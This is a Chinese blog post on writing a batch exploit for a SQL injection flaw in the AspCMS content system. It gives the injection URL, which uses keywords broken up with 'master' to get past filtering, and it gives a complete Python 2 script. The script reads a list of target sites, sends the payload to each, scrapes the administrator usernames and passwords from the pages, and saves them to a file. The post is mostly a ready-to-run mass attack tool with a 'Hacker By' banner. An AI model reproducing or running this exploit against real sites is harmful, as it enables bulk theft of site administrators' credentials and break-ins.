关注我们

Aspcms批量注入Exp编写 Aspcms批量注入Exp编写

adminadmin 安全开发 2018-04-22 778 0

00×1:POC

既然要实现批量注入,那就要从注入开始,首先在网上找到了此cms注入的POC

并成功找到了个网站复原

POC:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

使用Get访问可以成功看到注入出了账号密码,具体分析在这里不多BB

00×2:思路

既然可以直接拼接url得到账号密码,那么是不是可以用Python直接Get访问url然后再取源代码呢?

用到的模块: urllib2


成功获取到了源代码,既然可以获取源代码那么就可以查找源代码里面的字符串,取出我们要的账号密码:


但是,这似乎离批量有点远。

00×3:批量

采集url文件: url = list(open(‘aspcms.txt’))

这里就要加一个异常处理了,毕竟报错不太好看


这样看着有点乱,可以加个标题.加一个帅气的分割线


这样就好多了,还需要一个把结果导出的功能,实现起来简单的一比


A为追加模式,最后要关闭。

完整代码:

#!/use/bin/python# -*- coding: utf-8 -*-  import urllib2version = '''
+----------------------------------------------------+
+       Hacker By AdminSS    Blog:www.lsafe.org       +
+----------------------------------------------------+
'''print version
url = list(open('aspcms.txt'))for c in url:  try:
    response = urllib2.urlopen(c.strip('\n')+"/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user",timeout=3)
    htmls = response.read()
    username = htmls[htmls.find('</span>'):]
    password = htmls[htmls.find('<div class="line2">'):]
    print "URL :"+c    print "USERNAME:"+username[16:22]
    print "PASSWORD:"+password[19:35]
    print "---------------------------------"
    fileput = open('adminss.txt', 'a')
    fileput.write("URL :"+c)
    fileput.write("USERNAME :"+username[16:22]+"\n")
    fileput.write("PASSWORD :"+password[19:35]+"\n")
    fileput.write("-----------------------------------"+"\n")
    fileput.close()
  except Exception,url:    print "URL :"+c    print str(url)
    print "---------------------------------"


喜欢4评论已闭